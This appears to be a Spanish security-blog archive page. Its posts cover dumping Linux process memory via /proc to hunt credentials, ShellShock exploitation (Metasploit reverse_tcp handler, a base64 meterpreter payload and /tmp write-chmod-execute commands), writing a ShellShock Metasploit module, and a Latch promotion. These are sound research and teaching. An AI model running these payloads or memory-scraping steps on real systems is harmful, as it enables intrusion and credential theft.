Cómo crear un volcado de procesos en GNU/Linux y buscar "leaks" de información

Hacía tiempo que no pasaba por aquí para poder escribir sobre inquietudes tecnológicas o pequeñas pruebas de concepto que pueden surgir en el día a día. Todos conocemos diferentes herramientas de volcado de procesos de memoria. Por ejemplo, Volatility, que es una de mis favoritas por todo lo que ofrece y aporta en el análisis de un volcado de memoria.

Figura 1: Cómo crear un volcado de procesos en GNU/Linux

y buscar "leaks" de información con Volatility

Volatility no es la única herramienta que se tiene, se tienen otras muchas que aportan en mayor o menor medida diferentes posibilidades, otra opción es gcore. Revisando un poco lo que ofrece /proc en los sistemas GNU/Linux se pueden sacar muchas cosas interesantes. Entre ellas, se puede leer directamente de la memoria de un proceso. Casi como si fuera un fichero. No exactamente como en un fichero, pero le estuve dando vueltas. Al final es una forma sencilla de poder leer qué información hay dentro de un proceso.

Figura 2: Linux Exploiting

Se sabe que, en un proceso, hay elementos que están compartidos con otros procesos. Se sabe que hay páginas de memoria que tienen ciertos permisos y otras otros. Aquí es donde hablamos de lectura, escritura, ejecución. Decidí revisar más sobre este tema y preparar una pequeña prueba de concepto con Bash (un ejemplo de lo que se puede hacer con este lenguaje en GNU/Linux).

Gestión del memoria en sistemas GNU/Linux   

Antes de hablar de la prueba de concepto, vamos a pararos a estudiar un poco sobre /proc y lo que ofrece en términos de información sobre los procesos. Sabemos que /proc es un directorio especial, ya que almacena información sobre elementos volátiles (como es la memoria). Lo primero que nos puede llamar la atención es que si hago un ls sobre el directorio podremos visualizar un montón de “carpetas” con números. Estas carpetas son el ID de los procesos que hay en ejecución en la máquina.

Figura 3: /proc en GNU/Linux

¿Qué información se puede sacar de la memoria de un proceso? Cualquier cosa que esté ahí y no esté protegida (y mucha no lo estará). Para esta pequeña prueba de concepto vamos a abrir un mousepad (el bloc de notas al uso en GNU/Linux) y vamos a introducir algo de texto. Todo lo que se escribe debe estar en memoria. De eso no hay duda. Hay que recordar que la memoria es un elemento volátil, por lo que puede pasar que esté, pero con el tiempo no lo esté. En este caso, el proceso del mousepad recibe el PID 2477 por parte del sistema operativo. Vamos a acceder al directorio de /proc/2477, que es el que corresponde al proceso que hemos ejecutado.

Figura 4: /Proc/2477

Aquí encontramos bastante información interesante sobre el proceso, que nos daría para otro artículo, pero vamos a centrarnos en mem y en maps. El fichero mem nos dará acceso directo a la lectura del proceso en memoria, en crudo. Por otro lado, el fichero maps almacena todas las direcciones de lo que hay cargado en memoria sobre el proceso y nos indica las direcciones base y el offset de las páginas. Vamos a revisar un poco el fichero maps:

Figura 5: Cat maps

En este fichero, se puede ver en primer lugar la dirección de memoria dónde comienza y después del guión la dirección dónde finaliza. Esto es un ejemplo, no es todo lo que tiene en memoria el proceso mousepad que hemos ejecutado. Se puede ver dónde comienza la zona de heap (más abajo veríamos la stack), alguna librería cargada, etcétera. Se pueden ver fácilmente los permisos que existen y si son elementos compartidos. 

Figura 6: Libro de Ethical Hacking 2ª Edición
de Pablo González en 0xWord

Este fichero da mucho juego si quieres recorrer la memoria de un proceso buscando información en diferentes zonas de la memoria. Bien, ahora vamos a ver el fichero mem. Si hacemos un cat mem, esto no va a funcionar, ya que es algo especial (y muy cambiable). Si se quiere leer de este fichero, se debe utilizar la herramienta dd para poder hacer una copia de un flujo de bytes. Para ello, se debe ejecutar la siguiente instrucción:

dd if=/proc/PID/mem bs=BLOCK_SIZE skip=$((DIRECCION_BASE))

 count=$((DIRECCION_TOPE – DIRECCON_BASE))

Con esto, copiamos desde la dirección que se le diga (saltamos a esa posición en memoria) y leeremos lo que indique count, que será la resta entre el tope de la página y el inicio. Si probamos a ejecutarlo, esto devolverá un gran flujo de bytes, la mayoría binario que no se podrá imprimir (ni leer). Aquí es donde empezará a tener sentido utilizar un binario como strings para poder filtrar entre lo que es imprimible y lo que no.

Figura 7: Volcado e impresión de bytes

Si aplicamos a esta salida el comando strings, la cosa cambiará mucho, tal y como se puede ver en la imagen, ya que eliminamos lo que no podemos entender de primeras y dejaremos lo que se puede analizar (strings).

Figura 8:  Strings

Para automatizar un poco todo, ya que recorrer el fichero maps a mano puede ser eterno, debido a todas las librerías y zonas de memoria que hay que recorrer en un proceso, pensé en hacer un pequeño script en Bash a modo de prueba (se puede crear una herramienta fácilmente, aunque ya hay algunas escritas en Python bastante interesantes).

Figura 9: Libro de Python para Pentesters 2ª Edición en 0xWord

por Daniel Echeverri Montoya a.k.a. Adastra

El pseudocódigo del script es el siguiente:

Mientras haya líneas que leer en el fichero maps del proceso PID

Hacer

Obtengo dirección base

Obtengo dirección tope

Ejecuto dd para leer de memoria saltando a dirección base y con un count de la resta de tope y base

Aplico filtro de strings

Aplico filtro de elementos que estoy buscando

Fin_Hacer

Para verlo codificado en Bash os dejo la imagen. Es una PoC, muy PoC, ya que ni el PID se le pasa como argumento al script, ni hay un control mínimo de argumentos, pero queda claro que se puede automatizar.

Figura 10:  PoC en Bash

Puede ser interesante detener un proceso antes de hacer la lectura (no se ha dicho, pero lógicamente podrás leer procesos sobre los que tienes privilegios) de la memoria. Para esto se puede ejecutar un kill -SIGSTOP PID, mientras que para volver a ponerlo en marcha hay que ejecutar kill -SIGCONT PID. Hay un detalle en el script y es que hay que ponerle el “0x” a las direcciones que se leen desde el fichero maps, ya que se operará con ellas y debemos convertirlas en hexadecimal. 

Figura 11: Pentesting con Kali Silver Edition
de Pablo González en 0xWord

En la imagen, se puede ver un ejemplo a mano de la búsqueda de la palabra “user:”. Con el script automatizamos este proceso y logramos buscarlo en cada zona o, incluso, para todos los procesos sobre los que tenemos privilegio.

Figura 12:  Búsqueda a mano de "user"

Con esto, llegamos al final del artículo. Lo mejor es poder entender cómo funciona la memoria y cómo poder leer sobre ella en busca de información jugosa en un Ethical Hacking. ¿Sería sencillo incorporarlo a nuestra mochila de pentester? Sí y, además, tiene un valor añadido como herramienta de post-explotación.

Saludos,

Autor: Pablo González Pérez, escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de Telefónica Innovación Digital.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Contactar con Pablo González

ShellShock Client-Side Scripting Attack: Explotar bugs de ShellShock en sistemas NO publicados a Internet

Hace unos días se celebró en Barcelona la conferencia de seguridad informática NoConName 2014, una de las conferencias más antiguas y respetadas en la comunidad “hacking” en España. En esta edición, hicimos pública la investigación detallada que realizamos en Eleven Paths sobre la posibilidad de utilizar las técnicas de Javascript Port Scanning para realizar, al menos, enumeración (footprinting y fingerprinting) de recursos internos de una red corporativa o una red doméstica. El trabajo se publicó en un par de artículos llamados Enumeración y explotación de recursos internos mediante Javascript/AJAX (I) y (II):

Figura 1: ShellShock Client-Side Scripting Attack

Enumeración de la red interna de una empresa con visitar una web

Por resumir, el ataque es sencillo y podría utilizarse para atacar redes internas inyectando un JavaScript malicioso en una página web. Esto podría hacerse, por ejemplo, en un entorno de JavaScript Botnet para hacer ataques dirigidos. La "víctima” visitará una página web especialmente modificada para iniciar el ataque y el atacante recibirá información privada de la red desde el propio navegador web de la víctima. En la siguiente presentación tenéis un resumen del trabajo completo que expusimos.

Figura 2: Network profiling based on HTML tags injection

La investigación profundiza en cómo es posible en la actualidad, utilizar este ataque en la mayor parte de navegadores web en diversos sistemas operativos, siendo posible enumerar direcciones IP internas vivas, puertos abiertos, cualquier tipo de servicio o software con interfaz web, enumeración de dominios, detección de impresoras, UPS, routers, etcétera. Al final, se demuestra como un navegador web puede ser utilizado como una herramienta de pentesting sin que el usuario víctima lo sepa. Estas técnicas son plenamente funcionales independientemente de si el navegador web está actualizado, o no, o de los permisos con los que se ejecute en el sistema operativo de la víctima ya que sería necesario aplicar medidas de fortificación extras en el navegador web para mitigar el ataque descrito.

Los resultados anteriores son suficientemente significativos, no obstante, existen otros vectores de ataque basados en este tipo de técnicas que son peligrosos y relativamente sencillos de explotar. Merece la pena pararse a pensar un poco en esto porque ... ¿suelen los equipos de seguridad actualizar las tecnologías vulnerables que no son visibles directamente en Internet? ¿estará actualizado nuestro CMS interno en una organización? ¿se ha aplicado el último parche al WordPress, Joomla o Drupal de la Intranet? ¿Está el firmware de nuestro router doméstico actualizado? ¿Es segura la aplicación interna de nuestra empresa que da acceso a la base de datos?

Explotar Shellshock en un equipo interno desde el navegador de otro

Para demostrar lo sencillo que resulta vulnerar equipos de una red interna, simplemente aprovechándose del hecho que una víctima en la misma red visite una página web determinada, se mostró en la NoConName una demostración usando el fallo de ShellShock en un ataque que hemos denominado: “ShellShock Client-Side Scripting Attack”. Aunque con un poco de imaginación el lector advertirá que existen “multitud de variantes” y “ataques interesantes” basados en estos mismos principios. El proceso para hacer un Shellshock Client-Side Scripting Attack sería:

1) La víctima está en una red que tiene un equipo vulnerable a la famosa vulnerabilidad Shellshock. El equipo vulnerable no es accesible directamente desde Internet. 

2) El atacante construye una página web (o modifica una existente) e introduce código HTML/Javascript para enumerar direcciones IP vivas en la red de la víctima y detectar servicios/software/rutas conocidas en esas máquinas. 

3) La víctima carga una página web con el “código malicioso”, por ejemplo, con su navegador actualizado Google Chrome. 

4) El “código malicioso” detecta para una máquina viva un servicio conocido vulnerable a ShellShock.

Hasta este punto un funcionamiento más o menos normal de footprinting y fingerprinting utilizando la técnica de JavaScript Port Scanning. Seguidamente lo que se va a forzar es que la página web modificada contenga un “exploit” de forma que cuando detecte un servicio vulnerable a Shellshock se le pueda enviar el ataque desde el propio navegador web de la víctima. Una vez explotado el bug, qué realizar con el equipo vulnerable depende de la imaginación del atacante.

Figura 3: Esquema de ataque ShellShock Client-Side Scripting Attack

A continuación, demostraremos cómo es posible explotar el fallo, introducir una consola en el equipo vulnerable - usando un meterpreter de Metasploit -  y devolver una conexión inversa al atacante. De esta forma, tendremos acceso a la máquina que no estaba visible desde Internet y habremos saltado, en muchas configuraciones reales, la seguridad perimetral existente en la red que da acceso a la red interna, incluso aunque haya configurados cortafuegos o zonas DMZ especiales.

ShellShock Client-Side Scripting Attack: Paso a paso

a) Configuración de listener de reverse-shell: El atacante utiliza el framework Metasploit para configurar la máquina que recibirá la información del equipo vulnerado. Para ello, pone a la escucha un handler en el puerto 4444 al que le va a llegar la conexión inversa del payload que se ejecutará en el equipo vulnerable. En el ejemplo que viene a continuación se muestra en un entorno local.

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.56.101
set lport 4444
exploit

b) Creación del payload de ShellShock: El atacante crea el “payload” que se quiere ejecutar en la máquina vulnerable. Para ello, se utiliza msfpayload creando un payload con “meterpreter/reverse_tcp” en codificación base64 para facilitar su envío en peticiones HTTP.

msfpayload linux/x86/meterpreter/reverse_tcp lhost=IP_ATACANTE lport=4444 X > p.bin && chmod 755 p1.bin && cat p1.bin | base64

c) Nuestro payload:

f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1torBAKDWgCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E=

d) Ejecución de exploit: El navegador de la víctima que ha cargado la página web con el payload, lanzará el “exploit” utilizando Javascript/AJAX a las máquinas/servicios vulnerables en la red interna.

Figura 4: Ejecución del exploit desde el navegador de la víctima

La tecnología CORS (Cross-Origin Resource Sharing) alertará de esta situación en el navegador web - se puede ver en modo depuración - pero no impide que la petición sea realizada.

e) Ejecución del payload en la víctima: En el ejemplo de la demo, el payload desarrollado explotará un CGI vulnerable a Shellshock en la máquina interna vulnerable. Las acciones que realizamos son:

1. Payload en base64 se vuelca a un fichero en el sistema vulnerable:

f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1towKg4A2gCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= > /tmp/p2.bin

2. Se descodifica el bas64 y se vuelca el binario a otro fichero

/usr/bin/base64 -d /tmp/p2.bin > /tmp/p1.bin

3. Se le da permisos de ejecución al payload

/bin/chmod 755 /tmp/p1.bin

4. Se ejecuta el payload

/tmp/p1.bin

d) Ejecución de meterpreter: La máquina/servicio vulnerable al ejecutar el payload devuelve un meterpreter al handler controlado por el atacante fuera de su red interna.

Figura 5: Recepción de la shell de Meterpreter de la víctima en la consola de Metasploit

En función de los permisos con los que se ejecute el CGI vulnerable, seremos administrador de la máquina o necesitaremos elevación de privilegios. En cualquier caso, se simplificará notablemente el acceso a la red interna y en la práctica hacernos con el control de mucha información y de la propia red.

Como se ha de suponer, se debe prestar atención a las diferentes formas de fortificar nuestros navegadores web evitando el máximo posible de opciones. Desde hace años existe un peligro real de que simplemente visitando una página web con cualquier navegador web actualizado la red de nuestra empresa esté en riesgo, por lo que cuantas más capas de seguridad internas y externas se apliquen, mejor que mejor.

Autores:
Dr. Alfonso Muñoz
Eleven Paths. Escritor del libro de Criptográfica RSA (@mindcrypt & @criptored)
Ricardo Martín
Security & Quallity Assurance Engineer en Eleven Paths (@ricardo090489)

Crear tu módulo de Metasploit para ShellShock

La vulnerabilidad ShellShock ha traído un nuevo caos a Internet, miles de servidores se ven comprometidos por esta vulnerabilidad, la cual dispone de diversos CVE. Si echamos un ojo por Internet podemos observar como la vulnerabilidad ha sido explotada en diversos entornos, para explotar servidores web y meter shels, a través de VMWare Fusion en los OS X de Apple, o para distribuir malware como Kaiten.

Figura 1: Crea tu módulo de Metasploit para Shellshock

En el congreso de seguridad informática Navaja Negra, celebrado en Albacete, yo quería que la gente que asistía al workshop de Metasploit pudiera entender y ver como se corresponden los módulos que ellos pueden configurar con el código que podemos desarrollar. Para esto quise tomar como base la vulnerabilidad, con el primer CVE, de ShellShock.

Mi idea fue desarrollar un módulo en vivo para explotar dicha vulnerabilidad, ya que era realmente sencillo realizarlo, y los asistentes podrían fácilmente guiarse, tal y como se pudo ver en el artículo de RetroMalware para controlar NetBus desde Metasploit. Es cierto que la gente de Rapid7 ya tiene sus módulos sobre esta vulnerabilidad realizada, pero mi idea era hacerlo un poco más sencillo para que cualquiera de los asistentes con nociones cero de Ruby pudieran seguirlo.

Figura 2: Cosas básicas para hacer un módulo de tipo exploit remoto

¿Qué necesitamos para llevar a cabo el módulo? En la imagen se puede ver que al menos la función de inicialización y la función exploit son necesarias. El objetivo de estos módulos son las de conseguir una sesión para controlar el equipo o realizar alguna acción sobre él, tras aprovechar una vulnerabilidad. Opcionalmente, podemos definir la función check, con la que podemos chequear que una vulnerabilidad existe en la máquina remota, siempre y cuando el módulo no sea client-side, ya que en este escenario no tiene sentido realizar un chequeo.

La función: initialize(info={})

Esta función permite inicializar valores al módulo y actualizar información que es heredada por el propio framework. Podemos entender que la información de ayuda e informativa que debemos proporcionar en los módulos de Metasploit debemos configurarla en esta función. Por ejemplo, cuando nosotros ejecutamos el comando info la información proporcionada por la consola se corresponde con el atributo description que previamente hemos definido, o la información sobre el autor, las referencias a los CVE, etcétera.

A continuación se presenta el código, cuya descripción corresponde con la del módulo de Rapid7. Simplemente es importante ver que en esta parte del código son datos a rellenar, y que estos datos son informativos. Hay que recordar que la función de inicialización puede tener más instrucciones relevantes, como veremos después.

Figura 3: Función de inicialización

Hasta aquí, no hemos tocado nada. Existe un método denominado register_options con el que podemos modificar los atributos configurables que tendrá mi módulo. Recordemos que por ser un módulo de tipo exploit remoto se heredan atributos propios del módulo, como por ejemplo RHOST, pero en muchas ocasiones nosotros querremos añadir atributos configurables para que un usuario pueda realizar otro tipo de acciones con esos parámetros.

Nosotros queremos varias cosas en nuestro módulo:

- El usuario pueda indicar cuál es la URI. Al atributo lo llamaremos TARGETURI.
- Que el usuario pueda seleccionar el método HTTP a utilizar (GET | POST). El atributo se llama METHOD.
- Que el usuario pueda indicar al exploit el path remoto que debe utilizar mediante el atributo RPATH.
- El usuario puede indicar el comando que quiere lanzar mediante el atributo COMMAND.
- Mediante la configuración del atributo TIMEOUT se indica el número de segundos para obtener respuesta de una petición HTTP.
- El atributo FULL es algo especial. Lo que queremos hacer es que si el parámetro FULL vale false, el módulo se comporte como una consola remota en la cual sólo se ejecutará la orden que se introduzca en COMMAND. Pero si el atributo FULL vale true, el módulo estará programado para lanzar una secuencia de acciones sobre el servidor remoto con el que se conseguirá subir una shellcode y obtendremos el control remoto de la máquina.
- El atributo NAMESHELLBIN será utilizado en caso de que FULL sea true, y proporciona el nombre que utilizaremos para crear el binario en la máquina remota.

Figura 4: Opciones nuevas en el módulo

En la imagen podemos ver que cada atributo aparte del nombre tiene una serie de información extra introducida en un listado. El primer campo true o false indica si el atributo será requerido para ejecutar el módulo o no. Cuando se ejecuta un show options vemos una columna denominada required, dónde los atributos tienen valor yes o no. El segundo campo del listado es la descripción del atributo, mientras que el tercero es el valor por defecto que tiene ese parámetro.

Figura 5: Atributos del módulo visto con show options

La función: request(command)

Antes de empezar a destripar las funciones check y exploit vamos a necesitar una función request para agilizar y no repetir código en el envío de peticiones. Esta función será utilizada para explotar la vulnerabilidad de ShellShock en su versión para Apache mod_cgi.

La función tiene una implementación básica, utiliza el método send_request_cgi para enviar la petición HTTP. Se le pasa un parámetro a la función que es el comando que se quiere ejecutar en remoto, si la vulnerabilidad está presente en el servidor remoto. A continuación se muestra el código sencillo de la función.

Figura 6: Código de request

El atributo TARGETURI, METHOD y TIMEOUT, explicados anteriormente, son utilizados para la generación del paquete.

La función: check()

La función check permitirá comprobar si el servidor remoto es vulnerable sin necesidad de dañar o aprovecharse del sistema remoto. Es cierto que check lo que está realizando es una ejecución de comandos remota, pero lo que ejecutaremos será un simple echo hola, que intentaremos ver reflejado en el body de la respuesta.

Figura 7: Código de check

Como puede verse en la función se llama a request con el comando echo hola. Si la respuesta incluye hola en el cuerpo es vulnerable. Tenemos que tener cuidado, porque si, lógicamente, la respuesta incluyera el texto “hola” porque la web tuviera dicha palabra nos aparecería como vulnerable. Lo ideal sería generar un hash o un texto que fuera “imposible” encontrar en la respuesta.

La función: exploit()

Esta función la tenemos pensada para dos cosas en esta prueba de concepto. La primera es que nos permita ejecutar comandos, por así decirlo línea a línea o petición a petición con el servidor. El segundo modo de funcionamiento se tiene pensado para que automáticamente genere las peticiones necesarias realizando lo siguiente:

1. Generar una shellcode, que definirá el usuario en el atributo PAYLOAD antes de lanzar el módulo, es decir, antes de lanzar el método exploit. 

2. Esta shellcode se transforma a base64 con la intención de poder “pegarla” con un echo en un archivo del servidor remoto. La instrucción a ejecutar en remoto sería algo tal que así echo shellcode_en_base_64 > /var/tmp/fichero_almacena_shellcode_base64. 

3. Una vez se dispone de la shellcode en un fichero en base64 se realiza su transformación a binario y se le cambia los permisos para que el nuevo binario pueda ejecutar. 

4. Por último, se realiza una petición para ejecutar ese binario, el cual lanzará la shellcode. En función del tipo de shellcode se realizará unas acciones u otras. Automáticamente el módulo de Metasploit nos lanzará por debajo el handler con el que podremos gestionar de forma trasparente las conexiones con las shellcode.

Figura 8: Generación, subida y ejecución de Shellcode, Toma de control

En el código se puede ver como se genera el payload mediante la instrucción payload.encoded_exe. Este payload se codifica en base64 almacenándolo en la variable enc. Es importante realizar el cambio de los “\n” en el base64 para que la shellcode no se rompa.

Después podemos observar las 4 peticiones que se realizan con lo comentado anteriormente. Una vez se termina la cuarta petición la shellcode se genera y se obtiene el control remoto de la máquina, si el payload seleccionado es para tomar el control, por ejemplo un meterpreter.

Configuración y ejecución

Ahora vamos a probar el módulo programado, cuyo código se puede encontrar en mi github. La configuración para probar el código en modo FULL a true, será el siguiente:

- FULL = true.
- NAMESHELLBIN = poc.
- RHOST = dirección IP servidor remoto, en este caso 192.168.56.102.
- TARGETURI = URI remota, en este caso /cgi-bin/vuln.cgi.
- PAYLOAD = linux/x86/meterpreter/reverse_tcp.
- LHOST = dirección IP máquina del atacante.

Tras lanzar el módulo con la configuración podemos obtener el control remoto de la máquina, tal y como se puede ver en la imagen.

Figura 9: Configuración y obtención del control remoto a través de ShellShock

Si elegimos la opción FULL = false, realmente podemos seleccionar en COMMAND que binario lanzar, y con RPATH cuál es la ruta remota dónde se encuentra. En el taller de Navaja Negra lo estuvimos viendo, y con las prisas las cosas no quedaron del todo claras, por eso decidí hacer este post.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor del libro "Metasploit para Pentesters" 3ª Ed.

ShellShock puede afectar a tu web, tu Linux, tu Mac OS X, tu router, tu punto de acceso WiFi o tu switch

A mediados de esta semana se ha hecho público un fallo de seguridad, al que se ha llamado ShellShock, en la popular interfaz de comandos Bash que afecta a todas las versiones lanzadas desde Bash 1.14.0 hasta Bash 4.3, o lo que es lo mismo, a todas las versiones desde el año 1994 hasta el reciente parche que se ha publicado dentro de las últimas 48 horas. El bug, que realmente son dos, tienen los CVE-2014-6271 y CVE-2014-7169 y afectan a sistemas UNIX, Linux y OS X que tienen instalada esta herramienta en sus plataformas.

Figura 1: ShellShock bug en Bash 1.14 hasta Bash 4.3

Comprobar la versión de tu sistema es fácil, solo necesitas usar el comando help y te dirá la versión de la bash que estás usando. En el caso de los usuarios OS X la versión que se distribuye con la última versión es la 3.5.2, así que todas las versiones de sistemas operativos de Mac OS X desde su concepción están afectados por ShellSock.

La forma de comprobar con una prueba real si tu sistema es vulnerable es bastante sencilla, solo debes irte a tu interfaz de comandos Bash y probar a declarar una función como una variable de entorno, pero añadiendo después de la definición un comando a ejecutar. En este ejemplo un comando para que muestre el mensaje de Owned. Luego se invoca bash para que cargue las variables de entorno y la ejecute el comando.

Figura 2: Test de ShellShock en Bash de OS X

Explotar este bug tiene muchas posibilidades, pero es especialmente peligroso en los servidores web que utilizando el motor CGI (Common Gateway Interface) se apoyan en el sistema operativo para dar sus servicios web. Es decir, a diferencia de las aplicaciones .NET, JSP o PHP que se basan en la interpretación por parte de un motor de scripting de las programas que forman la web, las aplicaciones CGI se tiran directamente con ejecuciones desde el sistema operativo, lo que permite interactuar con el interfaz de comandos, sea SH, KSH o Bash.

Recordaréis que hace unos años hubo un bug casi igual de serio con PHP corriendo en modo CGI, donde se podían inyectar comandos en la llamada de PHP, y eso podría permitir ejecutar una Shell en el sistema para controlar todo desde una WebShell. Esto mismo se puede hacer ahora, aprovechando la definición de variables que se haga en la aplicación CGI ya sea llegando a ella por cualquiera de los parámetros que se envíen por GET o por POST, o por cualquiera de los datos de entrada, como por ejemplo el USER-AGENT o las Cookies.

Figura 3: Test de variables de entorno en webs CGI

El valor de USER-AGENT es un campo de entrada que habitualmente se usa en las aplicaciones CGI para definir variables, tal y como te puedes encontrar en muchos test.cgi por Internet. Manipulando el valor del USER-AGENT es posible meter una webshell con el bug ShellSock, tal y como se ha publicado en el blog de Eleven Paths para explicar la peligrosidad del sitio.

Figura 4: Subida de una WebShell a un servidor web vulnerable a ShellShock

En nuestro sistema de pentesting persistente Faast, metimos un plugin de detección de ShellShock - al igual que tiene el de PHP en modo CGI, HeartBleed y cientos más - a las horas de que se hiciera público el bug, para avisar a nuestros clientes que están siendo monitorizados de en qué servidores se encuentra. Tuvimos que afinar bastante para poder resolver el Error 500 del que tanto se habla por ahí, pero conseguimos un plugin de detección de lo más estable.

Figura 5: Plugin de ShellShock en Faast ejecutnado shell

a que este bug te lo puedes encontrar en el sitio menos inesperado de tu infraestructura, como por ejemplo el panel de administración de un router, un switch o un punto de acceso WiFi que, tan comúnmente, cuentan con este tipo de paneles de administración web.

Figura 6: Búsqueda de paneles web CGI en Shodan

En ellos, con el objeto de reducir al máximo el software a instalar, la mayoría de los paneles están corriendo en CGI. Basta con darse un paseo por Shodan y con las consultas adecuadas localizar paneles de administración web expuestos a Internet, corriendo con una Bash vulnerable que da soporte a webs funcionando en modo CGI suficientes como para que la NSA y su programa de hacking de routers, switches y electrónica de red se ponga las botas, pero que si no tienes cuidado puede poner en riesgo también tu red WiFi a visitantes no deseados. No te olvides de ellos.

Saludos Malignos!

El año que "latcheé" mi vida digital

Comienza el año 2014 y como todos vosotros he hecho mis propósitos a cumplir este año. La verdad es que salvo ver algunas series de TV, leer algunos libros, degustar comics, ir más al cine y disfrutar de un poco más de tiempo libre, el resto son retos auto-impuestos de emprendimiento personal. Ya veremos cómo va saliendo el año mes a mes y así os voy contando el devenir con cada cosa nueva.

Figura 1: Latch, un aplicación para dominarlas a todas

Lo que sí que os puedo decir es que para mí este año es el año Latch. Forzamos mucho la máquina para poder presentar la tecnología antes de fin de año, y de ahora en adelante lo que haremos es centrarnos en "Latchear" el máximo de servicios disponibles, y de construir al rededor de esta tecnología el mayor número de apps y servicios para crear un ecosistema para los usuarios.

Creamos Latch como una forma en la que el usuario pudiera poner pestillos digitales en cualquier identidad o acción granular de un sistema, para que si alguien que hubiera robado la identidad, o la hubiera adivinado por un ataque de fuerza bruta, intentara usarla, no solo no pudiera, sino que además recibiéramos una alerta.

Figura 2: App de Latch para iPhone con identidades "latcheadas"

El servicio lo estamos implantando nosotros en un buen número de grandes servicios como el panel de control de Acens, o en tiendas online como Recover Messages, Nevele Bank y 0xWord para que lo pudierais probar como usuarios. Para que lo pudierais probar bien sacamos las apps para iPhone y Android, y aunque el proceso ha sido un poco más lento de lo esperado,  la app de Latch ya está aprobada en la Windows Phone Store para que la puedas descargar, instalar y utilizar en tus terminales con Windows Phone 8.

Figura 3: App de Latch para Windows Phone 8

Lo cierto es que además de que nosotros implantáramos Latch en grandes entornos, o que preparásemos sitos de prueba, queríamos que fueran los desarrolladores y administradores de sistemas los que decidieran dónde debería estar el servicio de Latch instalado. Por eso sacamos un set inicial de plugins para WordPress, PrestaShop, Joomla, Redmine, Drupal 6, DotNetNuke o el .NET Log in, que pueden ser instalados fácilmente, como se puede ver aquí en WordPress.

Figura 4: SKs y Plugins de Latch disponibles

Pero para dotar de más flexibilidad aún, quisimos publicar directamente los SDKs para todos los lenguajes, que pudieran ser usados en aplicaciones escritas en C, .NET, Java, Python, Ruby o PHP, que están disponibles todos dentro del area de developer de Latch. 

A día de hoy son casi 200 los entornos que lo han implantado, y algunos tan chulos como hizo Alejandro Ramos (@aramosf) configurando Latch en servidores FTP haciendo un port del SDK a Bash del que me quedo esta frase sobre Latch tras trabajar con él: "El sistema es brillantemente sencillo". Su trabajo luego ha sido utilizado para implantar Latch en el SSH de un VPS. En este último caso lo que hace el script es matar el demonio ssh si se detecta que el Latch configurado está bloqueado, lo que incapacita su utilización.

Figura 5: Script de configuración de Latch en un servidor SSH

Este último nos ha llamado especialmente la atención, ya que nosotros tenemos listo para salir un plugin escrito con el SDK de C para usar como módulo pam en los SSH, pero la flexibilidad que da la arquitectura de Latch permite este tipo de hacks.

Decían en HackPlayers que Latch es una aplicación para dominarlas a todas, y que les parecía la mejor idea de todas en 2013. No sé si tanto como eso, pero os garantizo que yo personalmente estoy muy contento de en lo que se ha convertido Latch, y espero que éste sea el año en que pueda poner un latch a la mayoría de mis identidades digitales... 

Saludos Malignos!